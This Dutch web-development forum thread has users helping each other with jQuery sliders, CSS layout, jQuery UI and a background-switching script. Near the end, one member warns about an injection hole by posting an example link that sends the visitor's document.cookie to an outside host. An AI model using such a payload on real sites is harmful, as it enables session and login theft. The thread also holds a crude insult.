Alfje | vrijdag 23 november 2012 @ 16:59 | |||||
Dus de oplossing via JQuery, is dat beter omdat je het dan netjes gescheiden houdt, of zijn er nog andere redenen? | ||||||
KomtTijd... | vrijdag 23 november 2012 @ 17:05 | |||||
Dat, en je houdt je HTML compacter. (ergo: laadt sneller, betere pagerank) Overigens is dat niet perse een voordeel van jQuery, je kunt ook zonder jQuery gewoon vanuit je script events binden aan elementen. Jquery heeft die methode alleen populair gemaakt door het zo ongelooflijk makkelijk te maken. | ||||||
Alfje | vrijdag 23 november 2012 @ 17:11 | |||||
Dank, ik wist dat het ook "gewoon" met javaScript kan, maar inderdaad de JQuery manier is eenvoudig overzichtelijk en bekend. | ||||||
pascal08 | vrijdag 23 november 2012 @ 19:17 | |||||
Dit is een reactie op Alfje toch? Met dit is toch niets mis?
| ||||||
pascal08 | vrijdag 23 november 2012 @ 19:20 | |||||
Weet iemand een goede oplossing om een script voor meerdere sliders op 1 pagina zo kort mogelijk te maken?Ik zal er even een JSFiddle van maken. ![]() [ Bericht 1% gewijzigd door pascal08 op 23-11-2012 19:26:17 ] | ||||||
KomtTijd... | vrijdag 23 november 2012 @ 19:23 | |||||
Beter hou je je javascript gewoon in een los scriptbestand. | ||||||
pascal08 | vrijdag 23 november 2012 @ 19:23 | |||||
Ja, dat heb ik ook. ![]()
Lekker clean. ![]() | ||||||
#ANONIEM | vrijdag 23 november 2012 @ 19:26 | |||||
Inline JavaScript brrrrr | ||||||
KomtTijd... | vrijdag 23 november 2012 @ 19:30 | |||||
't is niet perse fout maar als je het nodig hebt is dat vaak wel een teken dat je iets verkeerd doet. | ||||||
pascal08 | vrijdag 23 november 2012 @ 19:35 | |||||
Meerdere sliders maken is dus niet het probleem; ik wil m'n JavaScript zo kort mogelijk maken. Ik heb al best een hoop geprobeerd en ik kwam aardig dichtbij door met classes te werken en in m'n JavaScript het ID dynamisch te maken, maar dan werden de minima en maxima gereset naar de waarden van een andere slider bij het schuiven van beide sliders. http://jsfiddle.net/cJnUA/1/ | ||||||
Tijn | vrijdag 23 november 2012 @ 19:41 | |||||
Je hebt het nooit nodig, het is puur luiheid. | ||||||
pascal08 | vrijdag 23 november 2012 @ 20:16 | |||||
Hoe krijg ik unieke variabelen voor elke slider? Nu wordt dus elke keer de waarde gereset naar de waarde van de andere slider: http://jsfiddle.net/cJnUA/2/ | ||||||
-J-D- | maandag 26 november 2012 @ 15:03 | |||||
-edit- | ||||||
donroyco | maandag 26 november 2012 @ 15:06 | |||||
De classes heten leading-0 en leading-1. | ||||||
-J-D- | maandag 26 november 2012 @ 15:08 | |||||
Ik zag het al. Dom van me. | ||||||
pascal08 | maandag 26 november 2012 @ 16:51 | |||||
http://jsfiddle.net/kkKx6/1/ Hoe krijg ik deze sliders in een tabelvorm? Als ik th tags gebruik dan verdwijnen de sliders. Ik denk zelf dat het komt omdat $(this).parent() dan naar de verkeerde tags wijst, maar ik zou niet weten wat de juiste syntax is om weer naar span te verwijzen tussen de th-tags. Kan iemand mij een zetje in de goede richting geven? | ||||||
picodealion | maandag 26 november 2012 @ 17:01 | |||||
Waar zijn je <td>'s? | ||||||
pascal08 | maandag 26 november 2012 @ 17:05 | |||||
Ik gebruik elke keer dit setje:
De tabel heeft geen hoofdrij. De tags heb ik weggelaten, omdat je de sliders anders niet meer ziet. ![]() | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:06 | |||||
...da's anders niet wat op je jsfiddle sample staat. En als je geen hoofdrij hebt, waarom gebruik je dan wel th's? | ||||||
pascal08 | maandag 26 november 2012 @ 17:07 | |||||
Ik zou ook kunnen zeggen dat ik alleen maar hoofdrijen gebruik. Maakt dat uit? | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:09 | |||||
Euh. Ja? Als je platte tekst hebt zonder opmaak, ga je dat toch ook niet ineens in een <h2> tag zetten ipv <p> ? Maar zolang je beiden niet gebruikt is je HTML sowieso invalid en kun je dus de raarste dingen verwachten. | ||||||
pascal08 | maandag 26 november 2012 @ 17:11 | |||||
Dat doet er niet toe. Ik wil deze sliders gewoon in tabelvorm, tussen th-tags of td-tags maakt me niet uit. | ||||||
Tijn | maandag 26 november 2012 @ 17:12 | |||||
Mensen met een screenreader worden er niet blij van als je alles in th's zet. Daar staat normaal gesproken de beschrijving van een rij of kolom in. | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:12 | |||||
Dan zou ik zeggen: Doe dat. | ||||||
pascal08 | maandag 26 november 2012 @ 17:14 | |||||
Dat is nou juist het probleem. Als ik dat doe dan klopt de javascript code niet meer. Mijn vraag is dus of iemand weet hoe ik iets tussen de span-tags kan printen als er th/td-tags om de span-tags staan. | ||||||
pascal08 | maandag 26 november 2012 @ 17:20 | |||||
Ik zal m'n vraag even helemaal opnieuw stellen. Hoe krijg ik deze sliders in tabelvorm? http://jsfiddle.net/kkKx6/3/ | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:21 | |||||
pas de probleme? http://jsfiddle.net/LgwQf/ | ||||||
pascal08 | maandag 26 november 2012 @ 17:23 | |||||
Komt in de buurt. Ik vergat nog te zeggen dat ik het in deze vorm wil: Slider1..........1-99..........*slider1* Slider2..........1-99..........*slider2* ![]() | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:24 | |||||
En dat moeten wij maar ff voor je doen? Je mag mailen voor een offerte. | ||||||
pascal08 | maandag 26 november 2012 @ 17:26 | |||||
Is dat de standaard procedure hier? | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:27 | |||||
De standaard procedure hier is dat je eerst zelf iets probeert, en dan om hulp vraagt met wat er niet lukt. Dat is iets anders dan, "hoi, maak dit eens voor me" | ||||||
donroyco | maandag 26 november 2012 @ 17:27 | |||||
Soms. Je bent nu al op de goede weg, de rest moet je nu zelf kunnen. | ||||||
pascal08 | maandag 26 november 2012 @ 17:29 | |||||
Jij denkt dat ik het vraag omdat ik te lui ben? Dit kost me meer tijd dan even simpel een paar <td> tags om de code heen te zetten. | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:29 | |||||
...waar wacht je dan op? | ||||||
Merkie | maandag 26 november 2012 @ 17:31 | |||||
Vervang:
Een <div>-element heeft als standaard-stijl "display: block", wat betekent dat het element de volledige breedte inneemt waardoor er dus niets naast kan staan. Door bijv. "display: inline-block" te geven neemt het <div>-element niet meer de volledige breedte in. Je moet dan nog wel even handmatig de breedte specificeren. | ||||||
pascal08 | maandag 26 november 2012 @ 17:31 | |||||
Ik wacht op iemand die mij verteld waarom de sliders verdwijnen als ik de boel de tabel-vorm zet. Ik zou alles kunnen posten wat ik al geprobeerd heb, maar ik ben slim genoeg om uit het juiste antwoord op te maken wat ik verkeerd deed. | ||||||
donroyco | maandag 26 november 2012 @ 17:32 | |||||
Ze verdwijnen omdat de JavaScript alleen functioneert als de divs bij elkaar staan. | ||||||
pascal08 | maandag 26 november 2012 @ 17:32 | |||||
![]() Dat kan ja, maar ik wil het liever in een HTML-tabel. | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:33 | |||||
En waarom moeten wij dat uit de lucht raden, terwijl jij zelf gewoon je console open kunt zetten? Is dit een soort quiz? | ||||||
donroyco | maandag 26 november 2012 @ 17:33 | |||||
Waarom een tabel gebruiken. Dat doe je alleen voor tabulaire gegevens. | ||||||
Merkie | maandag 26 november 2012 @ 17:33 | |||||
| ||||||
pascal08 | maandag 26 november 2012 @ 17:34 | |||||
Ah ok, dan wordt het dus lastig om dit in tabelvorm te krijgen. ![]() | ||||||
pascal08 | maandag 26 november 2012 @ 17:35 | |||||
In dat geval is Merkie zijn eerste antwoord dus handiger dan een tabel? Zo dus: http://jsfiddle.net/kkKx6/4/ | ||||||
donroyco | maandag 26 november 2012 @ 17:37 | |||||
Yes. | ||||||
Merkie | maandag 26 november 2012 @ 17:38 | |||||
Doe het gewoon met CSS? http://jsfiddle.net/kkKx6/8/ | ||||||
pascal08 | maandag 26 november 2012 @ 17:39 | |||||
Thanks. Ik zat helemaal in een tunnelvisie met die tabel, omdat Bootstrap een mooi tabelletje genereert met een simpele code. Ik zal nu dus even uit moeten vogelen hoe ik hetzelfde effect krijg zonder Bootstrap. | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:40 | |||||
Ik zou zeggen ga dit topic eens doorlezen: DIG / Kijk hier als je snel een oplossing wil voor je probleem | ||||||
pascal08 | maandag 26 november 2012 @ 17:42 | |||||
Ik heb m'n probleem hier veel sneller opgelost, maar toch bedankt. ![]() | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:44 | |||||
Als je gewoon gelijk had verteld wat je wou, had je binnen 3 seconden je antwoord gekregen. Of sterker nog: dan had je deze vraag misschien nieteens gesteld omdat je het zelf al opgelost had. | ||||||
pascal08 | maandag 26 november 2012 @ 17:50 | |||||
Als je een aantal posts terugleest dan zie je dat ik hier eerder een vraag had gesteld hoe ik meerdere sliders met 1 code kon aansturen. Uiteindelijk heb ik dat helemaal zelf (goed hè? ![]() Sorry, dat ik niet in 1 keer de vraag juist formuleerde. Sorry, dat ik niet kan programmeren en constant hier om hulp vraag. Sorry, dat ik geen interesse heb om te betalen om problemen opgelost te krijgen. En normaals sorry dat ik die hele focking HTML code verneukte met m'n stomme <th> tags. Echt, sorry... | ||||||
KomtTijd... | maandag 26 november 2012 @ 17:56 | |||||
Als je ergens sorry voor wilt zeggen, zeg dan sorry voor het feit dat je iedere keer in dezelfde valkuil loopt. Maar blijf er gerust lekker in lopen, dan zullen we hier onze haren uit ons hoofd blijven trekken om alleen maar je probleem duidelijk te krijgen, waarna je het zelf makkelijk kunt oplossen. | ||||||
pascal08 | maandag 26 november 2012 @ 17:59 | |||||
Ik zou zeggen: negeer mijn posts lekker, want jij hebt geen interesse om mijn probleem op te lossen en ik heb geen interesse in jouw antwoord. Merkie kwam met z'n eerste post al gelijk met een antwoord waar ik wat aan had, dus schijnbaar was mijn vraagstelling dus toch niet zo slecht. ![]() | ||||||
KomtTijd... | maandag 26 november 2012 @ 18:01 | |||||
Die komt pas way na deze reactie, die er zonder mijn pogingen nooit gekomen was: Maar ik zal je voortaan negeren, succes met oplossingen vinden voor problemen waarvan niemand het vraagstuk weet ![]() | ||||||
pascal08 | maandag 26 november 2012 @ 18:03 | |||||
![]() | ||||||
picodealion | maandag 26 november 2012 @ 18:46 | |||||
Zand in je kutje KomtTijd? | ||||||
Merkie | maandag 26 november 2012 @ 19:00 | |||||
Hier had ik al de oplossing gepost he, voor de duidelijkheid. | ||||||
stefanhaan | maandag 26 november 2012 @ 19:59 | |||||
Mensen niet haten, programmeer liefde. | ||||||
#ANONIEM | maandag 26 november 2012 @ 20:02 | |||||
Noobies wat meer hun best doen pro's wat minder haten en iedereen blij. | ||||||
pascal08 | maandag 26 november 2012 @ 20:07 | |||||
Ik doe m'n best, maar ik ben echt net komen kijken. Vind het al heel wat dat ik HTML, PHP, JS kan combineren. Ik struikel alleen vaak over de simpele dingen. ![]() | ||||||
pascal08 | maandag 26 november 2012 @ 20:07 | |||||
Ik ga zo wel even posten wat ik ervan gemaakt heb, mogen jullie het weer afblaffen. ![]() | ||||||
Tijn | maandag 26 november 2012 @ 20:19 | |||||
Dat je struikelt over de simpelste dingen, komt omdat je niet de tijd neemt om de technologiën die je hanteert echt te doorgronden. Je wil vanaf niks in een paar weken gelijk iets bouwen, dat gaat gewoon niet. | ||||||
#ANONIEM | maandag 26 november 2012 @ 20:39 | |||||
Je struikelt omdat je probeert te rennen. Voordat je kunt lopen en daarna kunt rennen die je te kunnen kruipen. | ||||||
pascal08 | maandag 26 november 2012 @ 20:59 | |||||
Weet ik ook wel, maar het is niet de moeite waard om alles te doorgronden voor mijn doel. Zoals het nu gaat, met een beetje hulp van dit forum kom ik er wel. Lekker boeien of het dan niet perfect is, als het maar doet wat het moet doen. ![]() | ||||||
pascal08 | maandag 26 november 2012 @ 21:01 | |||||
Deze kan zo in het rijtje Cruijffiaanse uitspraken. ![]() ![]() | ||||||
Tijn | maandag 26 november 2012 @ 21:08 | |||||
Je moet zelf weten hoe je het aanpakt, maar er wordt al zoveel geprutst op het web dat professionele ontwikkelaars er soms een beetje moedeloos van worden als iemand er weer een potje van maakt. Natuurlijk kun je hier je vragen kwijt, maar probeer in elk geval een beetje achtergrondinformatie in te winnen over de onderwerpen waar je niet uit komt, want weten waar je mee bezig bent is de beste manier om problemen te voorkomen. | ||||||
pascal08 | maandag 26 november 2012 @ 21:14 | |||||
Dat snap ik volledig. Als mensen een potje maken van mijn vakgebied kan ik ook heel boos worden. Het is vaak lachwekkend om te zien hoe sommige mensen te werk gaan. Echter moet je niet vergeten dat dit om een privé-projectje gaat waar het woord "professioneel" in de verste verte niet te bekennen valt. Ik hoopte hier gewoon simpele, maar doeltreffende oplossingen te vinden van mensen die wél weten hoe je een probleem professioneel oplost. | ||||||
Tijn | maandag 26 november 2012 @ 21:28 | |||||
Dat er veel amateurs zijn die met veel enthousiasme en plezier hun best doen om iets te ontwikkelen op het web, is ook iets waar professionals begrip voor moeten kunnen opbrengen. Het feit dat elke gebruiker van het web zonder al teveel drempels ook zelf iets kan ontwikkelen, is juist de kracht en de charme van het hele systeem. | ||||||
pascal08 | maandag 26 november 2012 @ 21:41 | |||||
Dat dacht ik ook. ![]() | ||||||
picodealion | dinsdag 27 november 2012 @ 22:02 | |||||
Ok mensen, ik heb een vraag. Een klant wil voor een Wordpress design dat ik titels van categorieën enzo in twee fonts doe. Ze zijn altijd twee woorden, steeds het eerste woord font 1 en het tweede woord font 2. Helaas is er niet zoiets als :first-word, dus ik neem aan dat ik maar gewoon met js achteraf de categorie moet splitten en er spans met classes omheen moet zetten? Of weet iemand een betere oplossing? | ||||||
Tijn | dinsdag 27 november 2012 @ 22:29 | |||||
Je kunt denk ik beter met PHP op de server de categorienamen splitten en de spans er omheen zetten. Met JS het font wisselen gaat denk ik voor een FOUT zorgen. | ||||||
picodealion | dinsdag 27 november 2012 @ 22:33 | |||||
Hmm, misschien is dat wel beter ja. Ik doe dit soort dingen liever aan de front-end, maar dat is voor de gebruiker wel fijner. | ||||||
n8n | dinsdag 27 november 2012 @ 22:36 | |||||
Categorieën zitten niet in links? Kan je dan apart selecteren met css | ||||||
picodealion | dinsdag 27 november 2012 @ 22:37 | |||||
Jawel, maar hoe helpt dat? | ||||||
KomtTijd... | dinsdag 27 november 2012 @ 22:47 | |||||
je zou bijv.:before { content:attr(data-firstword)} en :after {content:attr(data-lastword)} kunnen gebruiken, maar dat zou wel erg een hack om de hack zijn, dan zou ik liever voor een extra span kiezen. (dit even er vanuit gaande dat je serverside iets van parsing doet) | ||||||
picodealion | dinsdag 27 november 2012 @ 23:08 | |||||
Hmm, mooie oplossing opzich, maar ik denk dat ik dan inderdaad liever voor een onsemantisch spannetje ga. | ||||||
KomtTijd... | woensdag 28 november 2012 @ 00:37 | |||||
Dat geeft je wel de beste garantie dat het ook nog voor iedereen gewoon leesbaar blijft. Wat toch uiteindelijk het allerbelangrijkste is. | ||||||
pascal08 | donderdag 29 november 2012 @ 22:19 | |||||
Hey, KomtTijd, alles goed? ![]() Ik heb de selectable plugin van jQuery UI gebruikt om een selectable grid-systeem te maken. Als ik de code 1-op-1 kopieer in een leeg "document", dan werkt het prima. Nu wil ik de code ook gebruiken in mijn "document" (en dan werkt het ook). Echter na een onbekende handeling verschijnt er een puntje in beeld. Ik weet dus niet waardoor dit getriggerd wordt. Het vervelende is dus dat ik er geen JSFiddle van kan maken, omdat het probleem dan niet ontstaat. Ik zou natuurlijk m'n hele project kunnen kopiëren, maar dat houdt ik liever alleen voor mezelf. De vraag is dan ook of jullie een vermoeden hebben waardoor de puntje steeds zichtbaar wordt. Na het triggeren van het puntje, verschijnt ie altijd in dezelfde hoogte boven de cursor en alleen bij het klikken. Als ik de pagina dan refresh is 'ie weer weg, maar na de onbekende handeling verschijnt 'ie weer, alleen dan weer in een andere hoogte boven de cursor. Zelf dacht ik dat het misschien het puntje van een li was, maar met "list-style-type: none;" lijkt 'ie niet weg te gaan. Chrome geeft bij het klikken wel een helper-class weer die wellicht het probleem veroorzaakt. Hebben jullie enig idee wat dit puntje is? ![]() | ||||||
Tijn | donderdag 29 november 2012 @ 22:21 | |||||
Kijk met je Inspector? | ||||||
pascal08 | donderdag 29 november 2012 @ 22:22 | |||||
Bedoel je Element Inspect van Chrome? ![]() | ||||||
Tijn | donderdag 29 november 2012 @ 22:23 | |||||
En wat zie je als je dan het puntje selecteert? | ||||||
pascal08 | donderdag 29 november 2012 @ 22:23 | |||||
Het puntje kan ik niet selecteren. Het verschijnt altijd op een bepaalde hoogte boven de cursor bij het klikken. | ||||||
picodealion | donderdag 29 november 2012 @ 22:24 | |||||
Waarom heb je hier überhaupt jQuery voor nodig? Dit kan toch gewoon in CSS? | ||||||
Tijn | donderdag 29 november 2012 @ 22:25 | |||||
Weet je dat zeker? Heb je de gegenereerde HTML bekeken? Anders is het misschien een glitch. Heb je het met andere browsers ook? | ||||||
pascal08 | donderdag 29 november 2012 @ 22:25 | |||||
Ik wil straks met jQuery gegevens versturen. Kan dat ook anders dan? Waarom is deze plugin er dan? [ Bericht 2% gewijzigd door pascal08 op 29-11-2012 22:30:57 ] | ||||||
pascal08 | donderdag 29 november 2012 @ 22:26 | |||||
Ja, die heb ik bekeken. Er valt mij niets vreemds op. Ik zal nu kijken of ik het ook kan triggeren met Firefox. | ||||||
pascal08 | donderdag 29 november 2012 @ 22:28 | |||||
In Firefox zie ik 'm ook, maar dan ziet het er zo uit: | ||||||
Tijn | donderdag 29 november 2012 @ 22:32 | |||||
Ik zou toch even goed kijken of er niet een element is dat daarvoor zorgt. Anders zit er weinig anders op dan het online te zetten zodat we kunnen meekijken, want op de gok lossen we natuurlijk niks op ![]() | ||||||
pascal08 | donderdag 29 november 2012 @ 22:35 | |||||
Nee, dat snap ik. Ik hoopte dat het een bekend probleem is. Zonder code wordt het natuurlijk gewoon gokken als je dit probleem niet eerder hebt gezien. Ik zal eens kijken of ik het kan reproduceren in een fiddle, momentje. ![]() | ||||||
Tijn | donderdag 29 november 2012 @ 22:36 | |||||
Ik begrijp trouwens ook niet helemaal waarom je hier zo'n plugin voor nodig hebt. | ||||||
pascal08 | donderdag 29 november 2012 @ 22:43 | |||||
Ik wist ten eerste niet hoe ik mijn layout wilde gaan maken, dus dit bracht me op een goed idee. Ten tweede weet ik hoe ik met jQuery gegevens moet doorsturen, zodat ik een query kan maken die de juiste gegevens ophaalt uit m'n database. En ten derde scheelde het me wat tijd, want ik hoef nu niet zelf m'n CSS te maken. Ik zag er dus alleen maar voordelen in. Waarom vraag je dat dan? Ik kan het probleem trouwens niet reproduceren in een fiddle, dus ik laat het maar even zo. Toch bedankt voor de snelle reactie. ![]() | ||||||
Tijn | donderdag 29 november 2012 @ 22:46 | |||||
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website. | ||||||
pascal08 | donderdag 29 november 2012 @ 22:50 | |||||
Ik gebruik jQuery UI toch al, dus dan is het toch handiger om deze plugin te gebruiken in plaats van het zelf te schrijven. Daarnaast vind ik jQuery wel fijn. Alles is voorgekauwd en het scheelt mij als beginner een hoop tijd. | ||||||
Tijn | donderdag 29 november 2012 @ 22:53 | |||||
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd. Maar jQueryUI vind ik persoonlijk wat minder. Als ik het al gebruik is het vaak een hele minimale build met maar 1 of 2 componenten. | ||||||
pascal08 | donderdag 29 november 2012 @ 22:55 | |||||
Ik vind het wel een uitkomst. Ik haal er een hele hoop ideeën vandaan en het werkt altijd meteen. Wellicht is de code zelf schrijven efficiënter voor de website, maar dan ben ik in 2025 nog niet klaar. ![]() Ik heb het puntje nu ook weten te triggeren in deze fiddle: http://jsfiddle.net/5BNdM/ Vraag me niet hoe. Het vereist in ieder geval een hoop clicks. ![]() | ||||||
picodealion | donderdag 29 november 2012 @ 23:00 | |||||
Nope, niks hier. | ||||||
Tijn | donderdag 29 november 2012 @ 23:01 | |||||
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo. Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit. | ||||||
pascal08 | donderdag 29 november 2012 @ 23:12 | |||||
Hoe zou jij het doen dan? Het gaat alleen om het principe van selecteren/geselecteerd blijven en deselecteren/gedeselecteerd blijven. | ||||||
Tijn | donderdag 29 november 2012 @ 23:13 | |||||
Gewoon onclick een class "selected" geven of ontnemen. | ||||||
pascal08 | donderdag 29 november 2012 @ 23:15 | |||||
Wat zou dat schelen in ms of is het puur omdat je code er kleiner van wordt? | ||||||
Tijn | donderdag 29 november 2012 @ 23:16 | |||||
Het scheelt vooral dat je niet zo'n raar puntje hebt staan op willekeurige momenten ![]() | ||||||
pascal08 | donderdag 29 november 2012 @ 23:17 | |||||
Da's waar. ![]() Hij is nu wel al een tijdje weg nadat ik de code opnieuw gekopieerd en geplakt heb. *klop klop* | ||||||
pascal08 | donderdag 29 november 2012 @ 23:23 | |||||
Puntje is er weer. ![]()
en dan de jQuery... ? | ||||||
Tijn | donderdag 29 november 2012 @ 23:34 | |||||
Is zoiets niet wat je wil?
style.css:
script.js:
| ||||||
pascal08 | donderdag 29 november 2012 @ 23:35 | |||||
Holy shit, even kijken. ![]() W00t, deze is nog mooier. ![]() ![]() | ||||||
Tijn | donderdag 29 november 2012 @ 23:42 | |||||
Het is maar een voorbeeldje hoor. In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje. | ||||||
pascal08 | donderdag 29 november 2012 @ 23:43 | |||||
Wel een heel mooi voorbeeldje. ![]() | ||||||
Tijn | donderdag 29 november 2012 @ 23:44 | |||||
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat. | ||||||
pascal08 | donderdag 29 november 2012 @ 23:46 | |||||
Juist, dan kan ik natuurlijk met PHP daar de id laten echoën die relevant is voor mijn zoekactie. Ik heb trouwens ook een slidersysteem gemaakt met jQuery UI. Ik heb er enorm veel werk aan gehad om het helemaal werkend te krijgen, terwijl ik de basis dus niet eens zelf heb hoeven te schrijven. Zou jij zoiets ook zelf maken? | ||||||
Tijn | donderdag 29 november 2012 @ 23:47 | |||||
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring. | ||||||
pascal08 | donderdag 29 november 2012 @ 23:50 | |||||
Hmm... oké. Ik heb er veel werk aan gehad omdat ik meerdere sliders wilde aansturen vanuit één eventhandler (?), Uiteindelijk is het me gelukt, zonder dat er rare glitches zichtbaar zijn. Bovendien bestaat het systeem uit meer dan 50 sliders en werkt het onder alle omstandigheden toch heel snel. Vandaar dat ik jQuery UI ook gelijk geweldig vond. ![]() | ||||||
Tijn | donderdag 29 november 2012 @ 23:54 | |||||
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen. | ||||||
pascal08 | donderdag 29 november 2012 @ 23:59 | |||||
Ik snap niet helemaal wat je bedoelt. ![]() | ||||||
Tijn | vrijdag 30 november 2012 @ 00:01 | |||||
http://jqueryui.com/download/ Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen. | ||||||
pascal08 | vrijdag 30 november 2012 @ 00:03 | |||||
Ik vermoedde het al toen jij het had over includen van componenten die je ook zelf kunt maken. Ik heb gewoon die hele meuk geïnclude. ![]() Al die jQuery componenten zijn al goed voor 108kb zie ik. Als er nog niets gecached is gaat er bijna 400kb doorheen. Gelukkig wijs je me er nu op, want volgens mij kan ik uit de bootstrap CSS ook een heleboel slopen. [ Bericht 10% gewijzigd door pascal08 op 30-11-2012 00:08:06 ] | ||||||
Deeltjesversneller | vrijdag 30 november 2012 @ 09:29 | |||||
[ Bericht 100% gewijzigd door Deeltjesversneller op 30-11-2012 09:30:12 ] | ||||||
mstx | vrijdag 30 november 2012 @ 09:30 | |||||
Omdat totals een array is. Dus totals[0]==null. | ||||||
Deeltjesversneller | vrijdag 30 november 2012 @ 09:37 | |||||
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg. | ||||||
#ANONIEM | zaterdag 1 december 2012 @ 14:25 | |||||
Ik ben mijn custom CSS aan het veranderen maar helaas wordt voor sommige elementen op FOK! geen aparte CSS gebruikt waardoor sommige dingen geen class of id krijgen. Nu ben ik wel zover dat ik tags een bepaalde kleur kan krijgen, maar ik wil die van moderators een andere kleur geven. Hoe moet ik dat doen? zelf geprobeerd
en allemaal varianten daarop. | ||||||
n8n | zaterdag 1 december 2012 @ 14:41 | |||||
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen | ||||||
#ANONIEM | zaterdag 1 december 2012 @ 14:49 | |||||
Geloof er niks van. | ||||||
#ANONIEM | zaterdag 1 december 2012 @ 15:00 | |||||
Het is al gelukt.
Met dank aan TwyLight. | ||||||
n8n | zaterdag 1 december 2012 @ 15:03 | |||||
beter | ||||||
Deeltjesversneller | zaterdag 1 december 2012 @ 15:16 | |||||
zie DIG / Google Adsense & dergelijke - Sparen voor de kerstinkopen! ![]() | ||||||
picodealion | zondag 2 december 2012 @ 13:16 | |||||
Tof. | ||||||
Laser. | dinsdag 4 december 2012 @ 13:30 | |||||
Wie kan mij even helpen met javascript? Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken. Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1. | ||||||
#ANONIEM | dinsdag 4 december 2012 @ 13:32 | |||||
Wat heb je zelf tot nu toe? | ||||||
Laser. | dinsdag 4 december 2012 @ 13:34 | |||||
Als je op de button klikt roept ie de functie count(); aan.
| ||||||
Catch22- | dinsdag 4 december 2012 @ 13:41 | |||||
| ||||||
KomtTijd... | dinsdag 4 december 2012 @ 13:42 | |||||
Neuh, gewoon %4 en bij 0 beginnen. | ||||||
#ANONIEM | dinsdag 4 december 2012 @ 13:43 | |||||
[ Bericht 1% gewijzigd door #ANONIEM op 04-12-2012 13:44:27 ] | ||||||
#ANONIEM | dinsdag 4 december 2012 @ 13:44 | |||||
Netter dan de mijne. | ||||||
Laser. | dinsdag 4 december 2012 @ 13:51 | |||||
Ik ga het zo eens proberen, bedankt alvast. Ik heb nu nog een ander probleempje wat eerst opgelost moet worden. Ik heb het volgende bovenaan de pagina:
De afbeelding bestaat sowieso, dus het pad moet kloppen, maar toch zie ik 'm niet als achtergrond? Div heeft de id "content". | ||||||
KomtTijd... | dinsdag 4 december 2012 @ 14:25 | |||||
Als je even je console opent zie je direct of je een foutmelding krijgt en kun je ook zien of het adres daadwerkelijk gevonden kan worden. gokje is dat'ie document.getElementById('content') is undefined zegt. Omdat je niet wacht tot de dom geladen is. [ Bericht 31% gewijzigd door KomtTijd... op 04-12-2012 14:34:34 ] | ||||||
Laser. | dinsdag 4 december 2012 @ 14:57 | |||||
Thanks ik heb het nu werkend maar zit nog met 1 dingetje. ![]() Je hebt op de pagina meerdere vlakken (sections) waar je op kunt klikken, de pagina wordt dan herladen en de URL laat dan bijv zien: index.php?page=art & section=S1 Dus section=S1 voor vakje 1, S2 voor vakje 2 etc. Als je nu naar mijn script kijkt:
Dan zie je dat section standaard op S3 wordt gezet. Nu wil ik graag dat dat afhankelijk is van op welk vakje je hebt geklikt. Kan ik dat uit de URL halen op een bepaalde manier? Sowieso is er ook een PHP variable $section wat ook de juiste gegevens heeft. Kan ik dat met elkaar verbinden? [ Bericht 0% gewijzigd door Laser. op 04-12-2012 15:02:59 ] | ||||||
Catch22- | dinsdag 4 december 2012 @ 15:06 | |||||
| ||||||
Laser. | dinsdag 4 december 2012 @ 15:17 | |||||
Oh ja dat kan natuurlijk gewoon... ![]() Thanks! ![]() | ||||||
KomtTijd... | dinsdag 4 december 2012 @ 15:24 | |||||
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link: index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie}) | ||||||
PimD | dinsdag 4 december 2012 @ 19:18 | |||||
Ach, mensen klikken ook op dit soort pareltjes. Er sterft altijd een beetje van mezelf als ik zulke dingen zie ![]() | ||||||
Tijn | dinsdag 4 december 2012 @ 19:58 | |||||
Ik dacht ook dat het normaal was om even statusbalk naar de href van een link te kijken voordat je erop klikt, maar ik ben er inmiddels na een hoop contact met gebruikers wel achter dat echt niemand iets met die informatie doet ![]() | ||||||
Dimauro | woensdag 5 december 2012 @ 13:16 | |||||
Ik ben sinds een week aan het stunten met een (kleine) website. Notepad + + gedownload om de bestanden snel aan te kunnen passen, en een bronmap aangemaakt voor de verschillende files. De index in html gemaakt, de opmaak met css. Ik wilde graag een goede basis hebben voordat ik foto's en andere dingen zou gaan proberen, dus het oogt nog een beetje kaal misschien. Ik heb een klein JQuery scriptje van iemand gebruikt om de menu linkjes in de #content div te laden en de html bestanden omgenoemd naar php.
